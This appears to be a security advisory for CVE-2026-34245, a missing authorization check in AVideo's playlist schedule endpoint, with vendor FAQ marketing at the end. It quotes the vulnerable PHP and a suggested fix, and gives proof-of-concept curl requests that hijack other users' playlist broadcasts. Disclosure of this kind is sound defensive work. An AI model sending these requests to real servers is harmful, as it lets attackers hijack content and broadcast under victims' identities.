CVE-2026-34245

The plugin/PlayLists/View/Playlists_schedules/add.json.php endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.

Details

The endpoint at plugin/PlayLists/View/Playlists_schedules/add.json.php performs only a capability check, not an ownership check:

// add.json.php:14, only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
    forbiddenPage(__("You cannot livestream"));
}

// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);

The Playlists_schedules::save() method (line 182) only validates that playlists_id is non-empty, no ownership check:

public function save()
{
    if(empty($this->playlists_id)){
        _error_log("Playlists_schedules::save playlists_id is empty");
        return false;
    }
    // ...
    return parent::save();
}

When the schedule triggers via plugin/PlayLists/run.php, the rebroadcast executes under the playlist owner's user ID, not the schedule creator's:

// run.php:55, uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
    $ps->current_videos_id,
    $pl->getUsers_id(),  // <-- victim's user ID
    Playlists_schedules::getPlayListScheduledIndex($value['id']),
    $title
);

By contrast, all other playlist modification endpoints properly verify ownership via PlayLists::canManagePlaylist():

// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
    if (!User::isLogged()) return false;
    if (self::canManageAllPlaylists()) return true;
    $pl = new PlayList($playlists_id);
    if ($pl->getUsers_id() == User::getId()) return true;
    return false;
}

This check is used in saveShowOnTV.json.php:43, playListToSerie.php:24, and getPlaylistButtons.php:34, but is entirely absent from add.json.php.

Additionally, the delete.json.php endpoint requires User::isAdmin() (line 11), making the disparity with add.json.php even clearer.

When providing an existing schedule id via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.

PoC

# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login

# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'

# Expected: {"error":false}, schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity

# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'

• Content hijacking: Attacker can force-broadcast content from any user's playlist, including private or paid content
• Stream disruption: Scheduled rebroadcast can interfere with a victim's ongoing live streams
• Identity abuse: Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast
• Resource consumption: Scheduled broadcasts consume the victim's server bandwidth allocation
• Schedule tampering: Existing schedules can be modified or redirected by any streaming user

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-34245 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add ownership validation in add.json.php before saving:

// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
    forbiddenPage(__("You cannot manage this playlist"));
}

// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
    $existing = new Playlists_schedules(intval($_POST['id']));
    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
        forbiddenPage(__("You cannot modify this schedule"));
    }
}

1. What is CVE-2026-34245? CVE-2026-34245 is a medium-severity missing authorization vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-34245? CVE-2026-34245 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-34245? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-34245? No fixed version is listed for CVE-2026-34245 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-34245 exploitable, and should I be worried? Whether CVE-2026-34245 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34245 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34245? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.